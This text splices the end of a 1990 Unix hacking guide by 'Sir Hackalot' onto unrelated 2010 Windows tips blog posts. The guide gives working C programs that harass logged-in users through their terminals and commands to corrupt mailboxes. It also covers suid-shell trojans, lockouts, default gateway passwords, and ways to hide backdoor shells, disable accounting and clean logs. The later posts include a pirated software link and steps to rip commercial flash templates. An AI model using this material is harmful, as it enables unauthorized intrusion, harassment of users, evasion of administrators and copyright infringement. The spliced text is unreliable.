computer as well. Try to use the same password (if any) you found the
hacked account to have. If it is a default, then it is definitly on the
other system, but good luck...

B. rlogin/rsh passed your current username along to the remote system, so it
was like typing in your login at a "login: " prompt. You may not exist on
the other machine. Try "rlogin -l login_name", or rlogin -n name..
sometimes, you can execute "rwho" on another machine, and get a valid
account.

Some notes on Internet servers. There are "GATEWAYS" that you can get into
that will allow access to MANY internet sites. They are mostly run off
a modified GL/1 or GS/1. No big deal. They have help files. However,
you can get a "privilged" access on them, which will give you CONTROL of
the gateway.. You can shut it down, remove systems from the Internet, etc..
When you request to become privileged, it will ask for a password. There is
a default. The default is "system". I have come across *5* gateways with
the default password. Then again, DECNET has the same password, and I have
come across 100+ of those with the default privileged password. CERT Sucks.
a Gateway that led to APPLE.COM had the default password. Anyone could
have removed apple.com from the internet. Be advised that there are many
networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
University networks.

--** Having Fun **--

Now, if nothing else, you should atleast have some fun. No, I do not mean
go trashing hardrives, or unlinking directories to take up inodes, I mean
play with online users. There are many things to do. Re-direct output
to them is the biggie. Here is an example:
$ who
loozer tty1
sirhack tty2
$ banner You Suck >/dev/tty1
$
That sent the output to loozer. The TTY1 is where I/O is being performed
to his terminal (usually a modem if it is a TTY). You can repetitiously
banner him with a do while statement in shell, causing him to logoff. Or
you can get sly, and just screw with him. Observe this C program:

#include
#include
#include

main(argc,argument)
int argc;
char *argument[];
{
int handle;
char *pstr,*olm[80];
char *devstr = "/dev/";
int acnt = 2;
FILE *strm;
pstr = "";
if (argc == 1) {
printf("OL (OneLiner) Version 1.00 \n");
printf("By Sir Hackalot [PHAZE]\n");
printf("\nSyntax: ol tty message\n");
printf("Example: ol tty01 You suck\n");
exit(1);
}
printf("OL (OneLiner) Version 1.0\n");
printf("By Sir Hackalot [PHAZE]\n");
if (argc == 2) {
strcpy(olm,"");
printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
printf("Enter one Here => ");
gets(olm);
}
strcpy(pstr,"");
strcat(pstr,devstr);
strcat(pstr,argument[1]);
printf("Sending to: [%s]\n",pstr);
strm = fopen(pstr,"a");
if (strm == NULL) {
printf("Error writing to: %s\n",pstr);
printf("Cause: No Write Perms?\n");
exit(2);
}
if (argc == 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
fprintf(strm,"%s\n",olm);
fclose(strm);
printf("Message Sent.\n");
exit(0);
}
if (argc > 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
while (acnt <= argc - 1) {
fprintf(strm,"%s ",argument[acnt]);
acnt++;
}
fclose(strm);
printf("Message sent!\n");
exit(0);
}
}

What the above does is send one line of text to a device writeable by you
in /dev. If you try it on a user named "sirhack" it will notify sirhack
of what you are doing. You can supply an argument at the command line, or
leave a blank message, then it will prompt for one. You MUST supply a
Terminal. Also, if you want to use ?, or *, or (), or [], you must not
supply a message at the command line, wait till it prompts you. Example:

$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$

You can even use it to fake messages from root. Here is another:

/*
* Hose another user
*/

#include
#include
#include
#include
#include
#include
#include
#include

#define NMAX sizeof(ubuf.ut_name)

struct utmp ubuf;
struct termio oldmode, mode;
struct utsname name;
int yn;
int loop = 0;
char *realme[50] = "Unknown";
char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32];
char *histtya, *ttyname(), *strrchr(), *getenv();
int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE *tf;

main(argc, argv)
int argc;
char *argv[];
{
register FILE *uf;
char c1, lastc;
int goodtty = 0;
long clock = time((long *) 0);
struct tm *localtime();
struct tm *localclock = localtime( &clock );
struct stat stbuf;
char psbuf[20], buf[80], window[20], junk[20];
FILE *pfp, *popen();

if (argc < 2) {
printf("usage: hose user [ttyname]\n");
exit(1);
}
him = argv[1];

if (argc > 2)
histtya = argv[2];
if ((uf = fopen("/etc/utmp", "r")) == NULL) {
printf("cannot open /etc/utmp\n");
exit(1);
}
cuserid(me);
if (me == NULL) {
printf("Can't find your login name\n");
exit(1);
}
mytty = ttyname(2);
if (mytty == NULL) {
printf("Can't find your tty\n");
exit(1);
}
if (stat(mytty, &stbuf) < 0) {
printf("Can't stat your tty -- This System is bogus.\n");
}
if ((stbuf.st_mode&02) == 0) {
printf("You have write permissions turned off (hehe!).\n");
}

if (histtya) {
if (!strncmp(histtya, "/dev/", 5))
histtya = strrchr(histtya, '/') + 1;
strcpy(histty, "/dev/");
strcat(histty, histtya);
}
while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
if (ubuf.ut_name[0] == '\0')
continue;
if (!strncmp(ubuf.ut_name, him, NMAX)) {
logcnt++;
if (histty[0]==0) {
strcpy(histty, "/dev/");
strcat(histty, ubuf.ut_line);
}
if (histtya) {
if (!strcmp(ubuf.ut_line, histtya))
goodtty++;
}
}
}
fclose(uf);
if (logcnt==0) {
printf("%s not found! (Not logged in?)\n", him);
exit(1);
}

if (histtya==0 && logcnt > 1) {
printf("%s logged more than once\nwriting to %s\n", him, histty+5);
}
if (access(histty, 0) < 0) {
printf("No such tty? [%s]\n",histty);
exit(1);
}
signal(SIGALRM, timout);
alarm(5);
if ((tf = fopen(histty, "w")) == NULL)
goto perm;
alarm(0);
if (fstat(fileno(tf), &stbuf) < 0)
goto perm;
if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
goto perm;
ioctl(0, TCGETA, &oldmode); /* save tty state */
ioctl(0, TCGETA, &mode);
sigs(eof);
uname(&name);
if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
if (yn == 1 ) {
fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
fclose(tf);
printf("Critical Error Handler: %s running conflicting process\n",him);
exit(1);
}
fflush(tf);
mode.c_cc[4] = 1;
mode.c_cc[5] = 0;
mode.c_lflag &= ~ICANON;
ioctl(0, TCSETAW, &mode);
lastc = '\n';

printf("Backspace / Spin Cursor set lose on: %s\n",him);
while (loop == 0) {
c1 = '\b';
write(fileno(tf),&c1,1);
sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
fflush(tf);
}

perm:
printf("Write Permissions denied!\n");
exit(1);
}

timout()
{

printf("Timeout opening their tty\n");
exit(1);
}

eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}

ex()
{
register i;
sigs(SIG_IGN);
i = fork();
if (i < 0) {
printf("Try again\n");
goto out;
}
if (i == 0) {
sigs((int (*)())0);
execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
exit(0);
}
while(wait((int *)NULL) != i)
;
printf("!\n");
out:
sigs(eof);
}

sigs(sig)
int (*sig)();
{
register i;
for (i=0; signum[i]; i++)
signal(signum[i], sig);
}

What the above is, is a modified version of the standard write command.
What it does, is spin the cursor once, then backspace once over the
screen of the user it is run on. All though, it does not physically affect
input, the user thinks it does. therefore, he garbles input. The sleep(xx)
can be changed to make the stuff happen more often, or less often.
If you put your login name in the "YOURNAMEHERE" slot, it will protect you
from getting hit by it, if someone off a Public access unix leeches the
executable from your directory.
You could make a shorter program that does almost the same thing, but
you have to supply the terminal, observe:

/* Backspace virus, by Sir Hackalot [Phaze] */
#include
#include
main(argc,argv)
char *argv[];
int argc;
{
int x = 1;
char *device = "/dev/";
FILE *histty;
if (argc == 1) {
printf("Bafoon. Supply a TTY.\n");
exit(1);
}
strcat(device,argv[1]);
/* Make the filename /dev/tty.. */
histty = fopen(device,"a");
if (histty == NULL) {
printf("Error opening/writing to tty. Check their perms.\n");
exit(1);
}
printf("BSV - Backspace virus, By Sir Hackalot.\n");
printf("The Sucker on %s is getting it!\n",device);
while (x == 1) {
fprintf(histty,"\b\b");
fflush(histty);
sleep(5);
}
}

Thats all there is to it. If you can write to their tty, you can use this on
them. It sends two backspaces to them every approx. 5 seconds. You
should run this program in the background. (&). Here is an example:

$ who
sirhack tty11
loozer tty12
$ bsv tty12&
[1] 4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$

Now, it will keep "attacking" him, until he loggs of, or you kill the process
(which was 4566 -- when you use &, it gives the pid [usually]).

** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
method to terminate a line. However, the LF terminates a line in Unix.
you must STRIP CR's on an ascii upload if you want something you upload
to an editor to work right. Else, you'll see a ^M at the end of every
line. I know that sucks, but you just have to compensate for it.

I have a number of other programs that annoy users, but that is enough to
get your imagination going, provided you are a C programmer. You can annoy
users other ways. One thing you can do is screw up the user's mailbox.
The way to do this is to find a binary file (30k or bigger) on the system
which YOU have access to read. then, do this:

$ cat binary_file | mail loozer

or

$ mail loozer < binary file

That usually will spilt into 2 messages or more. The 1st message will
have a from line.. (from you ..), but the second WILL NOT! Since it does
not, the mail reader will keep exiting and giving him an error message until
it gets fixed.. The way to fix it is to go to the mail box that got hit
with this trick (usually only the one who got hit (or root) and do this),
and edit the file, and add a from line.. like
From username..

then it will be ok. You can screw the user by "cat"ing a binary to his tty.
say Loozer is on tty12. You can say..
$ cat binary_file >/dev/tty12
$
It may pause for a while while it outputs it. If you want to resume what
you were doing instantly, do:
$ cat binary_file >/dev/tty12&
[1] 4690
$
And he will probably logoff. You can send the output of anything to his
terminal. Even what YOU do in shell. Like this:
$ sh >/dev/tty12
$
You'll get your prompts, but you won't see the output of any commands, he
will...
$ ls
$ banner Idiot!
$ echo Dumbass!
$
until you type in exit, or hit ctrl-d.

There are many many things you can do. You can fake a "write" to someone
and make them think it was from somewhere on the other side of hell. Be
creative.

When you are looking for things to do, look for holes, or try to get
someone to run a trojan horse that makes a suid shell. If you get
someone to run a trojan that does that, you can run the suid, and log their
ass off by killing their mother PID. (kill -9 whatever). Or, you can
lock them out by adding "kill -1 0" to their .profile. On the subject of
holes, always look for BAD suid bits. On one system thought to be invincible
I was able to read/modify everyone's mail, because I used a mailer that had
both the GroupID set, and the UserID set. When I went to shell from it,
the program instantly changed my Effective ID back to me, so I would not be
able to do anything but my regular stuff. But it was not designed to change
the GROUP ID back. The sysop had blundered there. SO when I did an ID
I found my group to be "Mail". Mailfiles are readble/writeable by the
user "mail", and the group "mail". I then set up a sgid (set group id) shell
to change my group id to "mail" when I ran it, and scanned important mail,
and it got me some good info. So, be on the look out for poor permissions.

Also, after you gain access, you may want to keep it. Some tips on doing so
is:
1. Don't give it out. If the sysadm sees that joeuser logged in 500
times in one night....then....
2. Don't stay on for hours at a time. They can trace you then. Also
they will know it is irregular to have joeuser on for 4 hours
after work.
3. Don't trash the system. Don't erase important files, and don't
hog inodes, or anything like that. Use the machine for a specific
purpose (to leech source code, develop programs, an Email site).
Dont be an asshole, and don't try to erase everything you can.
4. Don't screw with users constantly. Watch their processes and
run what they run. It may get you good info (snoop!)
5. If you add an account, first look at the accounts already in there
If you see a bunch of accounts that are just 3 letter abbrv.'s,
then make yours so. If a bunch are "cln, dok, wed" or something,
don't add one that is "joeuser", add one that is someone's
full initials.

6. When you add an account, put a woman's name in for the
description, if it fits (Meaning, if only companies log on to the
unix, put a company name there). People do not suspect hackers
to use women's names. They look for men's names.
7. Don't cost the Unix machine too much money. Ie.. don't abuse an
outdial, or if it controls trunks, do not set up a bunch of dial
outs. If there is a pad, don't use it unless you NEED it.
8. Don't use x.25 pads. Their usage is heavily logged.
9. Turn off acct logging (acct off) if you have the access to.
Turn it on when you are done.
10. Remove any trojan horses you set up to give you access when you
get access.
11. Do NOT change the MOTD file to say "I hacked this system" Just
thought I'd tell you. Many MANY people do that, and lose access
within 2 hours, if the unix is worth a spit.
12. Use good judgement. Cover your tracks. If you use su, clean
up the sulog.
13. If you use cu, clean up the cu_log.
14. If you use the smtp bug (wizard/debug), set up a uid shell.
15. Hide all suid shells. Here's how:
goto /usr
(or any dir)
do:
# mkdir ".. "
# cd ".. "
# cp /bin/sh ".whatever"
# chmod a+s ".whatever"
The "" are NEEDED to get to the directory .. ! It will not show
up in a listing, and it is hard as hell to get to by sysadms if
you make 4 or 5 spaces in there (".. "), because all they will
see in a directory FULL list will be .. and they won't be able to
get there unless they use "" and know the spacing. "" is used
when you want to do literals, or use a wildcard as part of a file
name.
16. Don't hog cpu time with password hackers. They really don't work
well.

17. Don't use too much disk space. If you archieve something to dl,
dl it, then kill the archieve.
18. Basically -- COVER YOUR TRACKS.

Some final notes:

Now, I hear lots of rumors and stories like "It is getting harder to get
into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
when you are dealing with WAN's, such as telenet, tyment, and the Internet,
but not with local computers not on those networks. Here's the story:

Over the past few years, many small companies have sprung up as VARs
(Value Added Resellers) for Unix and Hardware, in order to make a fast
buck. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix. Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin). Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system. Why? The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus. So, they leave the system open to all...(inadvertedly..),
because they are not competant. So, you could usually get on, and create
havoc, and at first they will think it is a bug.. I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions). Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes. You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean. These
VARs are really actually working for us. If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.

You can use this phile for whatever you want. I can't stop you. Just
to learn unix (heh) or whatever. But its YOUR ass if you get caught.
Always consider the penalties before you attempt something. Sometimes
it is not worth it, Sometimes it is.

This phile was not meant to be comprehensive, even though it may seem like
it. I have left out a LOT of techniques, and quirks, specifically to get
you to learn SOMETHING on your own, and also to retain information so
I will have some secrets. You may pass this file on, UNMODIFIED, to any
GOOD H/P BBS. Sysops can add things to the archieve to say where
it was DL'd from, or to the text viewer for the same purpose. This is
Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.

Using Ghost to make Image XP Instalation

2010-10-28T16:22:00.001+07:00

If you want to use Norton Ghost 2003 to create an image of a PC's primary partition you will find it has 2 serious limitations:
1- The USB support driver they use (from Iomega) can only be installed in USB1 or USB2 mode (not both), and it is not universal - it didn't recognize my external USB IBM mobile HD .
2- You can't create a Ghost bootable CD - only a floppy. How can you clone a newly bought laptop, most of which don't have a floppy anymore?
Here's How to:
1- create a Ghost floppy with USB support (1 or 2 - it won't matter later)
2- download 2 files kxlrw40an.exe and mhairu.zip
CODE

http://panasonic.co.jp/pcc/products/drive/cdrrw/kxlrw40an/driver/kxlrw40an.exe

CODE

http://www.stefan2000.com/darkehorse/PC/DOS/Drivers/USB/mhairu.zip

From the first file (Panasonic driver for a USB CDRW) you will need the file usbaspi.sys found under "F2H" sub directory after extraction of the downloaded archive. From the second archive you need di1000dd.sys
3- Copy these 2 files to the USB folder on the Ghost floppy, and delete any other files in that folder. Also delete the file guest.exe from the floppy's root.
4- And finaly:
edit the AUTOEXEC.BAT file - delete the line: guest.exe
and edit CONFIG.SYS - delete all entries and enter:
device=usb\USBASPI.SYS /v /e /o /u
device=usb\Di1000dd.SYS
LASTDRIVE = Z

That's it. You can now boot with this floppy and have full USB support so you can create the image on an external USB drive.

If you want to create a bootable CD you can use Nero:
Choose to create a "CD-ROM (boot)" from the wizard, under Boot tab leave the default "bootable logical drive: as A:\ . Insert your Ghost floppy to the drive, drag all the files from the floppy to "New compilation" and burn. You now have a bootable Ghost CD that even Symantec doesn't have..

PS if you need Norton Ghost 2003 get the full retail here:
CODE

http://soft.zmdinfo.ha.cn/system/Norton.Ghost.2003%E6%AD%A3%E5%BC%8F%E9%9B%B6%E5%94%AE%E7%89%88.iso.rar

Auto End Tasks to Enable a Proper Shutdown

2010-10-28T16:01:00.001+07:00

This reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.

1. Copy the following (everything in the box) into notepad.

QUOTE
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"AutoEndTasks"="1"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"

2. Save the file as shutdown.reg
3. Double click the file to import into your registry.

NOTE: If your anti-virus software warns you of a "malicious" script, this is normal if you have "Script Safe" or similar technology enabled.

Best Keyboard Shortcuts

2010-10-28T15:53:00.002+07:00

Getting used to using your keyboard exclusively and leaving your mouse behind will make you much more efficient at performing any task on any Windows system. I use the following keyboard shortcuts every day:

Windows key + R = Run menu

This is usually followed by:
cmd = Command Prompt
iexplore + "web address" = Internet Explorer
compmgmt.msc = Computer Management
dhcpmgmt.msc = DHCP Management
dnsmgmt.msc = DNS Management
services.msc = Services
eventvwr = Event Viewer
dsa.msc = Active Directory Users and Computers
dssite.msc = Active Directory Sites and Services
Windows key + E = Explorer

ALT + Tab = Switch between windows

ALT, Space, X = Maximize window

CTRL + Shift + Esc = Task Manager

Windows key + Break = System properties

Windows key + F = Search

Windows key + D = Hide/Display all windows

CTRL + C = copy

CTRL + X = cut

CTRL + V = paste

Also don't forget about the "Right-click" key next to the right Windows key on your keyboard. Using the arrows and that key can get just about anything done once you've opened up any program.

Keyboard Shortcuts

[Alt] and [Esc] Switch between running applications

[Alt] and letter Select menu item by underlined letter

[Ctrl] and [Esc] Open Program Menu

[Ctrl] and [F4] Close active document or group windows (does not work with some applications)

[Alt] and [F4] Quit active application or close current window

[Alt] and [-] Open Control menu for active document

Ctrl] Lft., Rt. arrow Move cursor forward or back one word

Ctrl] Up, Down arrow Move cursor forward or back one paragraph

[F1] Open Help for active application

Windows+M Minimize all open windows

Shift+Windows+M Undo minimize all open windows

Windows+F1 Open Windows Help

Windows+Tab Cycle through the Taskbar buttons

Windows+Break Open the System Properties dialog box

acessability shortcuts

Right SHIFT for eight seconds........ Switch FilterKeys on and off.

Left ALT +left SHIFT +PRINT SCREEN....... Switch High Contrast on and off.

Left ALT +left SHIFT +NUM LOCK....... Switch MouseKeys on and off.

SHIFT....... five times Switch StickyKeys on and off.

NUM LOCK...... for five seconds Switch ToggleKeys on and off.

explorer shortcuts

END....... Display the bottom of the active window.

HOME....... Display the top of the active window.

NUM LOCK+ASTERISK....... on numeric keypad (*) Display all subfolders under the selected folder.

NUM LOCK+PLUS SIGN....... on numeric keypad (+) Display the contents of the selected folder.

NUM LOCK+MINUS SIGN....... on numeric keypad (-) Collapse the selected folder.

LEFT ARROW...... Collapse current selection if it's expanded, or select parent folder.

RIGHT ARROW....... Display current selection if it's collapsed, or select first subfolder.

Type the following commands in your Run Box (Windows Key + R) or Start Run

devmgmt.msc = Device Manager
msinfo32 = System Information
cleanmgr = Disk Cleanup
ntbackup = Backup or Restore Wizard (Windows Backup Utility)
mmc = Microsoft Management Console
excel = Microsoft Excel (If Installed)
msaccess = Microsoft Access (If Installed)
powerpnt = Microsoft PowerPoint (If Installed)
winword = Microsoft Word (If Installed)
frontpg = Microsoft FrontPage (If Installed)
notepad = Notepad
wordpad = WordPad
calc = Calculator
msmsgs = Windows Messenger
mspaint = Microsoft Paint
wmplayer = Windows Media Player
rstrui = System Restore
netscp6 = Netscape 6.x
netscp = Netscape 7.x
netscape = Netscape 4.x
waol = America Online
control = Opens the Control Panel
control printers = Opens the Printers Dialog

internetbrowser

type in u're adress "google", then press [Right CTRL] and [Enter]
add www. and .com to word and go to it

For Windows XP:

Copy. CTRL+C
Cut. CTRL+X
Paste. CTRL+V
Undo. CTRL+Z
Delete. DELETE
Delete selected item permanently without placing the item in the Recycle Bin. SHIFT+DELETE
Copy selected item. CTRL while dragging an item
Create shortcut to selected item. CTRL+SHIFT while dragging an item
Rename selected item. F2
Move the insertion point to the beginning of the next word. CTRL+RIGHT ARROW
Move the insertion point to the beginning of the previous word. CTRL+LEFT ARROW
Move the insertion point to the beginning of the next paragraph. CTRL+DOWN ARROW
Move the insertion point to the beginning of the previous paragraph. CTRL+UP ARROW
Highlight a block of text. CTRL+SHIFT with any of the arrow keys
Select more than one item in a window or on the desktop, or select text within a document. SHIFT with any of the arrow keys
Select all. CTRL+A
Search for a file or folder. F3
View properties for the selected item. ALT+ENTER
Close the active item, or quit the active program. ALT+F4
Opens the shortcut menu for the active window. ALT+SPACEBAR
Close the active document in programs that allow you to have multiple documents open simultaneously. CTRL+F4
Switch between open items. ALT+TAB
Cycle through items in the order they were opened. ALT+ESC
Cycle through screen elements in a window or on the desktop. F6
Display the Address bar list in My Computer or Windows Explorer. F4
Display the shortcut menu for the selected item. SHIFT+F10
Display the System menu for the active window. ALT+SPACEBAR
Display the Start menu. CTRL+ESC
Display the corresponding menu. ALT+Underlined letter in a menu name
Carry out the corresponding command. Underlined letter in a command name on an open menu
Activate the menu bar in the active program. F10
Open the next menu to the right, or open a submenu. RIGHT ARROW
Open the next menu to the left, or close a submenu. LEFT ARROW
Refresh the active window. F5
View the folder one level up in My Computer or Windows Explorer. BACKSPACE
Cancel the current task. ESC
SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Use these keyboard shortcuts for dialog boxes:

To Press
Move forward through tabs. CTRL+TAB
Move backward through tabs. CTRL+SHIFT+TAB
Move forward through options. TAB
Move backward through options. SHIFT+TAB
Carry out the corresponding command or select the corresponding option. ALT+Underlined letter
Carry out the command for the active option or button. ENTER
Select or clear the check box if the active option is a check box. SPACEBAR
Select a button if the active option is a group of option buttons. Arrow keys
Display Help. F1
Display the items in the active list. F4
Open a folder one level up if a folder is selected in the Save As or Open dialog box. BACKSPACE

If you have a Microsoft Natural Keyboard, or any other compatible keyboard that includes the Windows logo key and the Application key , you can use these keyboard shortcuts:

Display or hide the Start menu. WIN Key
Display the System Properties dialog box. WIN Key+BREAK
Show the desktop. WIN Key+D
Minimize all windows. WIN Key+M
Restores minimized windows. WIN Key+Shift+M
Open My Computer. WIN Key+E
Search for a file or folder. WIN Key+F
Search for computers. CTRL+WIN Key+F
Display Windows Help. WIN Key+F1
Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain. WIN Key+ L
Open the Run dialog box. WIN Key+R
Open Utility Manager. WIN Key+U

accessibility keyboard shortcuts:

Switch FilterKeys on and off. Right SHIFT for eight seconds
Switch High Contrast on and off. Left ALT+left SHIFT+PRINT SCREEN
Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
Switch StickyKeys on and off. SHIFT five times
Switch ToggleKeys on and off. NUM LOCK for five seconds
Open Utility Manager. WIN Key+U

shortcuts you can use with Windows Explorer:

Display the bottom of the active window. END
Display the top of the active window. HOME
Display all subfolders under the selected folder. NUM LOCK+ASTERISK on numeric keypad (*)
Display the contents of the selected folder. NUM LOCK+PLUS SIGN on numeric keypad (+)
Collapse the selected folder. NUM LOCK+MINUS SIGN on numeric keypad (-)
Collapse current selection if it's expanded, or select parent folder. LEFT ARROW
Display current selection if it's collapsed, or select first subfolder. RIGHT ARROW

Okay... I hope you like about my post

Boot Block Recovery For Free

2010-10-28T15:51:00.000+07:00

You don't need to pay a measly sum of dollars just to recover from a boot block mode. Here it is folks:

AWARD Bootblock recovery:

That shorting trick should work if the boot block code is not corrupted, and it should not be if /sb switch is used when flashing the bios (instead of /wb switch).

The 2 pins to short to force a checksum error varies from chip to chip. But these are usually the highest-numbered address pins (A10 and above).

These are the pins used by the system to read the System BIOS (original.bin for award v6), calculate the ROM checksum and see if it's valid before decompressing it into memory, and subsequently allow Bootblock POST to pass control over to the System BIOS.

You just have to fool the system into believing that the System BIOS is corrupt. This you do by giving your system a hard time reading the System BIOS by shorting the 2 high address pins. And when it could not read the System BIOS properly, ROM Checksum Error is detected "so to speak" and Bootblock recovery is activated.

Sometimes, any combination of the high address pins won't work to force a checksum error in some chips, like my Winbond W49F002U. But shorting the #WE pin with the highest-numbered address pin (A17) worked for this chip. You just have to be experimentative if you're not comfortable with "hot flashing" or "replacement BIOS".

But to avoid further damage to your chip if you're not sure which are the correct pins to short, measure the potential between the 2 pins by a voltmeter while the system is on. If the voltage reading is zero (or no potential at all), it is safe to short these pins.

But do not short the pins while the system is on. Instead, power down then do the short, then power up while still shorting. And as soon as you hear 3 beeps (1 long, 2 short), remove the short at once so that automatic reflashing from Drive A can proceed without errors (assuming you had autoexec.bat in it).

About how to do the shorting, the tip of a screwdriver would do. But with such minute pins on the PLCC chip, I'm pretty comfortable doing it with the tip of my multi-tester or voltmeter probe. Short the pins at the point where they come out of the chip.

AMIBIOS Recovery bootblock:
1. Copy a known working BIOS image for your board to a floppy and rename it to AMIBOOT.ROM.
2. Insert the floppy in your system's floppydrive.
3. Power on the system while holding CTRL+Home keys. Release the keys when you hear a beep and/or see the floppy light coming on.
4 . Just wait until you hear 4 beeps. When 4 beeps are heard the reprogramming of the System Block BIOS went succesfull, so then you may restart your system.

Some alternative keys that can be used to force BIOS update (only the System Block will be updated so it's quite safe):
CTRL+Home= restore missing code into system block and clear CMOS when programming went ok.
CTRL+Page Up= restore missing code into system block and clear CMOS or DMI when programming went ok.
CTRL+Page Down= restore missing code into system block and do not clear CMOS and DMI area when programming went ok
Btw: the alternative keys work only with AMIBIOS 7 or higher (so for example an AMI 6.26 BIOS can be only recovered by using CTRL+Home keys).
Boot Block Recovery for FREE

************************************************
BLACKOUT Flashing
*************************************************

Recovering a Corrupt AMI BIOS chip
With motherboards that use BOOT BLOCK BIOS it is possible to recover a corrupted BIOS because the BOOT BLOCK section of the BIOS, which is responsible for booting the computer remains unmodified. When an AMI BIOS becomes corrupt the system will appear to start, but nothing will appear on the screen, the floppy drive light will come on and the system will access the floppy drive repeatedly. If your motherboard has an ISA slot and you have an old ISA video card lying around, put the ISA video card in your system and connect the monitor. The BOOT BLOCK section of the BIOS only supports ISA video cards, so if you do not have an ISA video card or your motherboard does not have ISA slots, you will have to restore your BIOS blind, with no monitor to show you what’s going on.

AMI has integrated a recovery routine into the BOOT BLOCK of the BIOS, which in the event the BIOS becomes corrupt can be used to restore the BIOS to a working state. The routine is called when the SYSTEM BLOCK of the BIOS is empty. The restore routine will access the floppy drive looking for a BIOS file names AMIBOOT.ROM, this is why the floppy drive light comes on and the drive spins. If the file is found it is loaded into the SYSTEM BLOCK of the BIOS to replace the missing information. To restore your BIOS simply copy a working BIOS file to a floppy diskette and rename it AMIBOOT.ROM, then insert it into the computer while the power is on. The diskette does not need to be bootable or contain a flash utility. After about four minutes the system will beep four times. Remove the floppy diskette from the drive and reboot the computer. The BIOS should now be restored.

Recovering a Corrupt AWARD BIOS
With AWARD BIOS the process is similar but still a bit different. To recover an AWARD BIOS you will need to create a floppy diskette with a working BIOS file in .BIN format, an AWARD flash utility and an AUTOEXEC.BAT file. AWARD BIOS will not automatically restore the BIOS information to the SYSTEM BLOCK for this reason you will need to add the commands necessary to flash the BIOS in the AUTOEXEC.BAT file. The system will run the AUTOEXE.BAT file, which will in turn flash the BIOS. This is fairly easy. Here are the steps you need to take.

· Create a bootable floppy diskette
· Copy the BIOS file and flash utility to the diskette
· Create an text file with any standard text editor and add the following lines

@ECHO OFF
FLASH763 BIOSFILE.BIN /py

In the above example I am assuming that you are using the FLASH763.EXE flash utility. You will need to replace the FLASH763 with the name of whatever flash utility you are using, and replace the BIOSFILE.BIN with the name of the BIOS file you are using. You will also need to change the ‘/py’ to whatever the command is for your flash utility to automatically program the BIOS without user intervention. If you do not know the command to automatically flash your BIOS type the name of the flash utility with a space and then /? to display the utility’s help screen. The help screen should pecify the command switch to automatically flash your BIOS. If you are using the FLASH763.EXE utility then the switch to automatically flash your BIOS is ‘/py’.

How to rip Dynamic Flash Template

2010-10-28T15:43:00.002+07:00

Okay... I want to give information to you about "How to Rip TM Dynamic Flash Templates"

What you need:

Sample dynamic flash template from TM website
Sothink SWF Decompiler
Macromedia Flash
Yourself

1. browse or search your favorite dynamic flash template in TM website. If you got one... click the "view" link and new window will open with dynamic flash.. loading...

2. If the movie fully loaded, click View -> Source in your browser to bring the source code of the current page and in the source code, search for "IFRAME" and you will see the iframe page. In this example were going to try the 7045 dynamic template. get the URL(ex.
http://images.templatemonster.com/screenshots/7000/7045.html) then paste it to your browser... easy eh? wait! dont be to excited... erase the .html and change it to swf then press enter then you'll see the flash movie again icon_smile.gif.

3. copy the URL and download that SWF file.. use your favorite download manager.. mine I used flashget icon_smile.gif NOTE: dont close the browser we may need that later on.

4. open your Sothink SWF decompiler... click "Quick Open" then browse where you download your SWF/movie file. Click Export FLA to export your SWF to FLA, in short, save it as FLA icon_smile.gif

5. Open your Macromedia FLash and open the saved FLA file. press Control+Enter or publish the file... then wallah! the output window will come up with "Error opening URL blah blah blah..." dont panic, that error will help you where to get the remaining files.

6. Copy the first error, example: "7045_main.html" then go back to your browser and replace the 7045.swf to 7045_main.html press enter and you'll see a lot of text... nonsense text icon_lol.gif that text are your contents...

